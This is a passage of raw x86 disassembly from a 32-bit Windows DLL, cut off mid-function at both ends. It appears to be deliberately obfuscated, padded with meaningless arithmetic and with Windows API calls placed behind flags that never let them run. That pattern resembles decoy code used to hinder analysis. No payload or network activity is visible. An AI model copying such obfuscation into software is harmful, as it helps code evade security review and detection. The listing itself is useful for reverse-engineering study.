sbb eax, eax
xor ebx, ebx
inc eax
inc ebx
mov dword [ebp - 0x1344], eax
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0x3f4f46db
push ebx
call fcn.10015d9e
mov dword [ebp - 4], 6
or eax, 0xffffffff
mov dword [ebp - 0x30], 0x8f5f4990
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x38], 0x74d
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jge 0x1002eaac
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xf78]
call fcn.10015e0b
mov dword [eax], 0x1f665683
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002ea8e
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002eabc
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
dec dword [ebp - 0x38]
lea ecx, [ebp - 0xf78]
or eax, 0xffffffff
mov dword [ebp - 4], eax
call fcn.10015e06
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
dec eax
neg eax
sbb eax, eax
neg eax
imul eax, eax, 0xfff7
sub eax, 0xfff6
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x2c]
imul eax, eax, 0x39d9
test eax, eax
je 0x1002ecdb
xor eax, eax
mov dword [ebp - 0x30], eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002eb23
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002eb43
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateEnhMetaFileW]
movdqa xmm0, xmmword [0x10007ee0]
lea eax, [ebp - 0x10bc]
push eax
lea eax, [ebp - 0x10cc]
mov dword [ebp - 0x28], 0xcf86511
push eax
lea ecx, [ebp - 0x154c]
movdqu xmmword [ebp - 0x10cc], xmm0
call fcn.10015e1a
lea ecx, [ebp - 0x118]
mov esi, eax
call fcn.10008f83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xe70]
push dword [esi]
call fcn.10015de0
xor eax, eax
mov dword [ebp - 4], 7
push 2
mov dword [ebp - 0x1c], eax
pop esi
cmp dword [ebp - 0x1c], esi
jge 0x1002ebbd
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x20c], 0x4c506d44
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002eba5
xor eax, eax
push 3
mov dword [ebp - 0x208], eax
pop edi
jmp 0x1002ebf6
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], eax
jl 0x1002ebf0
push dword [ebp - 0x208]
lea ecx, [ebp - 0xe70]
call fcn.10015e0b
cmp dword [eax], 0
jne 0x1002ebee
dec dword [ebp - 0x20]
jns 0x1002ebd3
xor eax, eax
inc dword [ebp - 0x208]
cmp dword [ebp - 0x208], edi
jle 0x1002ebc8
or eax, 0xffffffff
lea ecx, [ebp - 0xe70]
mov dword [ebp - 4], eax
call fcn.10015e06
mov dword [ebp - 0x38], 0x69be541
lea ecx, [ebp - 0x81c]
push edi
call fcn.10015d9e
mov dword [ebp - 4], 8
xor eax, eax
mov dword [ebp - 0x18], 0xe7d8a870
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x1002ec55
push dword [ebp - 0x14]
lea ecx, [ebp - 0x81c]
call fcn.10015e0b
and dword [eax], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1002ec3a
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002ec75
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1040], 0xda4d073f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002ec5d
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], esi
jg 0x1002ecbf
xor ebx, ebx
push dword [ebp - 0x18]
lea ecx, [ebp - 0x81c]
call fcn.10015e0b
push dword [ebp - 0x18]
lea ecx, [ebp - 0x81c]
mov esi, eax
call fcn.10015e0b
mov ecx, dword [esi]
mov dword [eax], ecx
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002ecb1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
inc dword [ebp - 0x18]
push 2
pop eax
cmp dword [ebp - 0x18], eax
jle 0x1002ec7f
xor ebx, ebx
inc ebx
or eax, 0xffffffff
lea ecx, [ebp - 0x81c]
mov dword [ebp - 4], eax
call fcn.10015e06
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
jmp 0x1002fc10
mov dword [ebp - 0x18], 0x3d06
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x14], 0x16df251d
mov dword [ebp - 0x24], 8
push esi
call fcn.10015d9e
mov dword [ebp - 4], 9
xor eax, eax
mov dword [ebp - 0x48], 0xfffffff6
mov dword [ebp - 0x38], 0xe605a420
mov dword [ebp - 0x38], 0x4feccdf
mov dword [ebp - 0x1c], 0x7b20295d
mov dword [ebp - 0x1c], eax
jmp 0x1002ed3d
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xe8]
call fcn.10015e0b
mov dword [eax], 0x83066c93
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002ed26
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
xor eax, eax
cmp dword [ebp - 0x14], eax
jne 0x1002ed59
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002ed95
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], eax
jl 0x1002ef71
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe8]
call fcn.10015e0b
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe8]
mov esi, eax
call fcn.10015e0b
mov ecx, dword [esi]
mov dword [eax], ecx
dec dword [ebp - 0x14]
jns 0x1002ed69
jmp 0x1002ef71
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002edb5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x52c], 0x61c44381
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002ed9d
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 2
jg 0x1002ef52
or eax, 0xffffffff
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x38], 0x8236511f
mov dword [ebp - 0x38], 6
mov dword [ebp - 0x38], 9
push dword [ebp - 0x24]
call fcn.10015e0b
lea ecx, [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x24]
call fcn.10015e0b
push dword [ebp - 0x24]
lea ecx, [ebp - 0xe8]
call fcn.10015e0b
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov esi, dword [ebp - 0x524]
push dword [ebp - 0x24]
cmp dword [eax], ecx
lea ecx, [ebp - 0xe8]
setle dl
add esi, edx
call fcn.10015e0b
lea ecx, [ebp - 0xe8]
mov edi, dword [eax]
xor eax, eax
push eax
imul edi, esi
call fcn.10015e0b
mov ecx, dword [ebp - 0x524]
xor edx, edx
cmp edi, ecx
setg dl
xor ecx, ecx
cmp edx, dword [eax]
setg cl
mov dword [ebp - 0x38], ecx
mov ecx, dword [ebp - 0x528]
mov eax, dword [ebp - 0x38]
add ecx, 0x469bf966
add eax, ecx
lea ecx, [ebp - 0xe8]
mov dword [ebp - 0x14], eax
push dword [ebp - 0x24]
call fcn.10015e0b
mov ecx, dword [ebp - 0x14]
add ecx, dword [eax]
jne 0x1002ee89
xor eax, eax
cmp dword [ebp - 0x48], eax
je 0x1002ee8b
mov eax, ebx
mov dword [ebp - 0x48], eax
lea ecx, [ebp - 0xe8]
mov eax, dword [ebp - 0x48]
push dword [ebp - 0x24]
call fcn.10015e0b
mov ecx, dword [ebp - 0x18]
add ecx, dword [eax]
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0xe8]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
xor eax, eax
push eax
call fcn.10015e0b
mov eax, dword [ebp - 0x18]
lea ecx, [ebp - 0xe8]
mov eax, dword [ebp - 0x24]
push dword [ebp - 0x24]
call fcn.10015e0b
mov ecx, dword [ebp - 0x48]
xor edx, edx
cmp ecx, dword [eax]
mov eax, dword [ebp - 0x528]
setne dl
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x38], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x38]
cmp eax, 0xb76a
setge cl
sub ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
add ecx, 0xffff000b
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x528]
neg ecx
sbb ecx, ecx
xor eax, eax
neg ecx
cmp ecx, 0xc5f2
setl al
mov dword [ebp - 0x1c], eax
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002ef3b
push eax
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
inc dword [ebp - 0x24]
push 2
pop eax
cmp dword [ebp - 0x24], eax
jle 0x1002edc2
mov edi, dword [sym.imp.USER32.dll_EnumWindows]
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x1002ef6b
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002ef68
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
xor eax, eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffffb
jge 0x1002ef57
or eax, 0xffffffff
lea ecx, [ebp - 0xe8]
mov dword [ebp - 4], eax
call fcn.10015e06
xor eax, eax
mov dword [ebp - 0x1c], ebx
push 3
mov dword [ebp - 0x14], eax
pop esi
cmp dword [ebp - 0x14], esi
jge 0x1002efaa
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x15e0], 0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002ef92
xor eax, eax
push 2
mov dword [ebp - 0x14], eax
pop ecx
cmp dword [ebp - 0x14], ecx
jge 0x1002efcd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5d8], 0x9cd4431f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002efb5
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002efe4
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jg 0x1002f09b
mov dword [ebp - 0x34], 0x53bc
cmp dword [ebp - 0x34], eax
je 0x1002f008
mov dword [ebp - 0x38], 8
inc dword [ebp - 0x38]
jmp 0x1002f07d
or ecx, 0xffffffff
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x34], eax
je 0x1002f01a
mov esi, ebx
cmp dword [ebp - 0x18], eax
jne 0x1002f01c
mov esi, eax
xor ecx, ecx
mov edx, 0xce3051eb
mov dword [ebp - 0x5d4], edx
mov eax, dword [ebp - 0x18]
cmp eax, edx
setg cl
xor edx, edx
sub ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setge dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor eax, eax
inc edx
sub esi, edx
sub esi, dword [ebp - 0x34]
add esi, 4
je 0x1002f073
cmp dword [ebp - 0x34], eax
jne 0x1002f093
push 2
mov dword [ebp - 0x18], eax
pop ecx
jmp 0x1002f06c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5d8], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002f05f
jmp 0x1002f07b
cmp dword [ebp - 0x34], eax
jne 0x1002f093
push 2
pop ecx
xor eax, eax
cmp dword [ebp - 0x5d4], eax
jne 0x1002f095
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jle 0x1002eff0
jmp 0x1002f095
xor eax, eax
push 3
pop esi
push 2
pop ecx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x48], 0xb302aff6
mov dword [ebp - 0x28], 0x283d1f0d
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ecx
jge 0x1002f0cf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xbc], 0xefb6f65e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1002f0b7
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002f0ee
or ecx, 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x135c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f0da
xor eax, eax
mov dword [ebp - 0x18], eax
jmp 0x1002f107
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x1002f104
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
xor eax, eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xc
jl 0x1002f0f3
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xbc]
sub edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xb8]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x123d
setne al
cmp eax, dword [ebp - 0xbc]
jg 0x1002f155
xor eax, eax
cmp dword [ebp - 0xbc], eax
je 0x1002f157
mov esi, ebx
jmp 0x1002f159
xor eax, eax
mov esi, eax
mov ecx, dword [ebp - 0xbc]
xor edx, edx
mov eax, dword [ebp - 0xbc]
cmp ecx, eax
movdqa xmm0, xmmword [0x10007e90]
setge dl
xor eax, eax
cmp edx, esi
setg al
xor edx, edx
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl dl
mov dword [ebp - 0x18], edx
xor edx, edx
mov ecx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
mov eax, dword [ebp - 0xbc]
setl dl
xor ecx, ecx
cmp edx, eax
lea eax, [ebp - 0x11dc]
push eax
setne cl
lea eax, [ebp - 0x11ec]
mov dword [ebp - 0x1358], ecx
lea ecx, [ebp - 0x149c]
mov dword [ebp - 0x38], 0xfffffffb
push eax
movdqu xmmword [ebp - 0x11ec], xmm0
call fcn.10015e1a
lea ecx, [ebp - 0x12f]
mov esi, eax
call fcn.10008f83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x180]
push dword [esi]
call fcn.10015de0
mov dword [ebp - 4], 0xa
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x18], 0x826a056e
mov dword [ebp - 0x34], 0x9d982735
mov dword [ebp - 0x38], 0xfffffff6
mov dword [ebp - 0x24], 3
cmp dword [ebp - 0x24], eax
jl 0x1002f495
mov esi, 0x424a
mov dword [ebp - 0x1c], 0x5411aa84
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x38], 0xfffffffe
mov eax, dword [ebp - 0x24]
push dword [ebp - 0x24]
call fcn.10015e0b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x180]
call fcn.10015e0b
push dword [ebp - 0x24]
lea ecx, [ebp - 0x180]
call fcn.10015e0b
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x180]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x34], eax
push ebx
call fcn.10015e0b
mov ecx, dword [ebp - 0x34]
push 5
pop edx
sub edx, ecx
xor ecx, ecx
cmp edx, dword [eax]
setl cl
add ecx, 0x51162f63
mov dword [ebp - 0x1c], ecx
je 0x1002f2c0
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002f377
push eax
call dword [sym.imp.USER32.dll_CreateIconIndirect]
jmp 0x1002f375
mov dword [ebp - 0x48], 0x35fe57b6
lea ecx, [ebp - 0x180]
mov dword [ebp - 0x44], 0xfffffff8
push dword [ebp - 0x24]
call fcn.10015e0b
or ecx, 0xffffffff
mov dword [eax], ecx
xor eax, eax
mov dword [ebp - 0x34], 0x3b51
cmp dword [ebp - 0x34], eax
jne 0x1002f2f6
mov ecx, eax
cmp dword [ebp - 0x48], eax
je 0x1002f2f8
mov ecx, ebx
xor eax, eax
cmp ecx, 2
sete al
cmp eax, dword [ebp - 0x1c]
jle 0x1002f30e
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x1002f30e
mov ebx, eax
push 3
lea ecx, [ebp - 0x180]
call fcn.10015e0b
xor ecx, ecx
cmp ebx, 8
setg cl
xor edx, edx
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x38]
setge bl
xor ecx, ecx
cmp eax, ebx
setg cl
xor edx, edx
mov dword [ebp - 0x48], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor ebx, ebx
inc ebx
cmp ebx, ecx
sbb eax, eax
neg eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x18]
mov dword [ebp - 0x44], eax
xor eax, eax
push 3
pop ecx
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x34], eax
jl 0x1002f489
mov dword [ebp - 0x28], 0xfede048f
mov dword [ebp - 0x44], 0xfffffffc
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], eax
jl 0x1002f47d
push ecx
lea ecx, [ebp - 0x608]
call fcn.10015d9e
xor eax, eax
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f3df
or esi, 0xffffffff
push dword [ebp - 0x1c]
lea ecx, [ebp - 0x608]
call fcn.10015e0b
mov dword [eax], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f3c1
mov esi, 0x424a
push ebx
lea ecx, [ebp - 0x608]
call fcn.10015e0b
lea ecx, [ebp - 0x180]
mov dword [eax], esi
mov dword [ebp - 0x38], esi
push dword [ebp - 0x24]
call fcn.10015e0b
mov ecx, dword [ebp - 0x28]
xor ebx, ebx
push dword [ebp - 0x24]
cmp dword [eax], ecx
lea ecx, [ebp - 0x180]
setle bl
call fcn.10015e0b
mov ecx, dword [ebp - 0x44]
push dword [ebp - 0x24]
imul ecx, ebx
xor ebx, ebx
cmp ecx, dword [eax]
lea ecx, [ebp - 0x180]
setne bl
call fcn.10015e0b
xor ecx, ecx
cmp dword [eax], ebx
mov eax, dword [ebp - 0x38]
setge cl
xor ebx, ebx
imul eax, ecx
lea ecx, [ebp - 0x608]
push ebx
mov dword [ebp - 0x38], eax
call fcn.10015e0b
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x608]
cmp dword [eax], ebx
jne 0x1002f473
call fcn.10015e06
dec dword [ebp - 0x18]
push 1
pop ebx
push 3
pop ecx
jns 0x1002f3a0
jmp 0x1002f478
call fcn.10015e06
push 3
pop ecx
xor eax, eax
dec dword [ebp - 0x34]
push 1
pop ebx
jns 0x1002f386
dec dword [ebp - 0x24]
push 1
pop ebx
jns 0x1002f236
or eax, 0xffffffff
lea ecx, [ebp - 0x180]
mov dword [ebp - 4], eax
call fcn.10015e06
movdqa xmm0, xmmword [0x10007e60]
lea eax, [ebp - 0x10dc]
push eax
lea eax, [ebp - 0x10ec]
push eax
lea ecx, [ebp - 0x13cc]
movdqu xmmword [ebp - 0x10ec], xmm0
call fcn.10015e1a
lea ecx, [ebp - 0x131]
mov esi, eax
call fcn.10008f83
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x144]
push dword [esi]
call fcn.10015de0
mov dword [ebp - 4], 0xc
xor eax, eax
mov dword [ebp - 0x38], 0x1b583dc0
mov dword [ebp - 0x18], 0xf77722ab
mov dword [ebp - 0x1c], eax
jmp 0x1002f51a
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1544], 0xbf48c443
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1002f509
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
xor ecx, ecx
cmp dword [eax], ecx
je 0x1002f5da
push ecx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
xor ecx, ecx
cmp dword [eax], ebx
sete cl
sub ecx, 0x243e3dcc
je 0x1002f566
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
cmp dword [eax], 0
je 0x1002f566
mov esi, ebx
jmp 0x1002f56a
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
cmp esi, dword [eax]
jne 0x1002f586
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
push 3
pop esi
push esi
lea ecx, [ebp - 0x144]
call fcn.10015e0b
push ebx
lea ecx, [ebp - 0x144]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
call fcn.10015e0b
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
push ebx
lea ecx, [ebp - 0x144]
call fcn.10015e0b
mov eax, dword [eax]
mov dword [ebp - 0x153c], eax
mov eax, dword [ebp - 0x18]
jmp 0x1002f5dd
push 3
pop esi
xor eax, eax
mov dword [ebp - 0x18], 0xfffffffa
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xe
jge 0x1002f623
push 2
pop ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002f612
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfe8], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f5fa
xor eax, eax
cmp dword [ebp - 0xfe4], eax
jne 0x1002f623
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xe
jl 0x1002f5f2
or eax, 0xffffffff
lea ecx, [ebp - 0x144]
mov dword [ebp - 4], eax
call fcn.10015e06
or eax, 0xffffffff
mov dword [ebp - 0x14], 0x8b13eca4
push 2
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0xffc]
pop eax
push eax
call fcn.10015d9e
xor eax, eax
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x1002f686
push 2
pop ebx
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xffc]
call fcn.10015e0b
mov dword [eax], 0xf14186e1
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x1002f665
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xe
je 0x1002f76a
jmp 0x1002f697
xor eax, eax
mov dword [ebp - 0x18], 0xfffffffe
mov dword [ebp - 0x1c], 0x4a1cf041
cmp dword [ebp - 0x18], eax
je 0x1002f6d5
mov eax, dword [ebp - 0x18]
or ecx, 0xffffffff
mov eax, dword [ebp - 0x18]
sub ecx, eax
je 0x1002f6ba
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18], 0x8876
je 0x1002f708
or eax, 0xffffffff
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x1c], 6
jmp 0x1002f700
mov dword [ebp - 0x30], 0x196e6c8c
mov dword [ebp - 0x18], ebx
dec dword [ebp - 0x38]
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xe
jne 0x1002f6f0
jmp 0x1002f75d
mov dword [ebp - 0x28], 0xfffffff7
mov dword [ebp - 0x34], 0xffffffee
cmp dword [ebp - 0x34], 0xfffffff9
jne 0x1002f740
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002f734
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 0xfffffff9
je 0x1002f71e
xor ebx, ebx
inc ebx
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], al
je 0x1002f75d
push 0x4e1
push eax
push eax
push 0x9d5
push eax
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xe
jne 0x1002f695
or eax, 0xffffffff
lea ecx, [ebp - 0xffc]
mov dword [ebp - 4], eax
call fcn.10015e06
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x1002f79d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x6b0], 8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f785
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], eax
jmp 0x1002f7b6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x544], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002f7a5
mov dword [ebp - 0x53c], 0xfffffff0
cmp dword [ebp - 0x53c], 0xffffffe6
push 2
pop esi
jg 0x1002f839
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1002f7e9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe28], 0xd491
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002f7d8
cmp dword [ebp - 0xe24], ebx
je 0x1002f805
mov dword [ebp - 0x28], 0x9ac1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
jmp 0x1002f814
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002f814
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 0x49], bl
cmp byte [ebp - 0x49], bl
je 0x1002f827
push 0x20bb
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
dec dword [ebp - 0x53c]
cmp dword [ebp - 0x53c], 0xffffffe6
jle 0x1002f7d3
xor ebx, ebx
inc ebx
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002f851
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1028], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f840
or eax, 0xffffffff
mov dword [ebp - 0x20], 0xfffffff6
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x9dc]
mov dword [ebp - 0x38], 0x2d3f5047
push ebx
call fcn.10015d9e
push esi
lea ecx, [ebp - 0xb44]
mov dword [ebp - 4], 0xe
call fcn.10015d9e
mov byte [ebp - 4], 0xf
xor eax, eax
mov dword [ebp - 0x38], 0xd9cd4431
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jge 0x1002f8bc
push dword [ebp - 0x14]
lea ecx, [ebp - 0x9dc]
call fcn.10015e0b
mov dword [eax], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x1002f89e
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x1002f8d8
push dword [ebp - 0x14]
lea ecx, [ebp - 0xb44]
call fcn.10015e0b
mov dword [eax], 0xfffffff6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x1002f8c1
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x9dc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x38], eax
xor eax, eax
mov esi, dword [ebp - 0x38]
push eax
call fcn.10015e0b
lea ecx, [ebp - 0xb44]
mov dword [eax], esi
mov eax, 0xe4a6f444
cmp eax, esi
sbb esi, esi
xor eax, eax
push eax
neg esi
call fcn.10015e0b
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x40]
cmp eax, esi
mov eax, dword [ebp - 0x20]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
setg cl
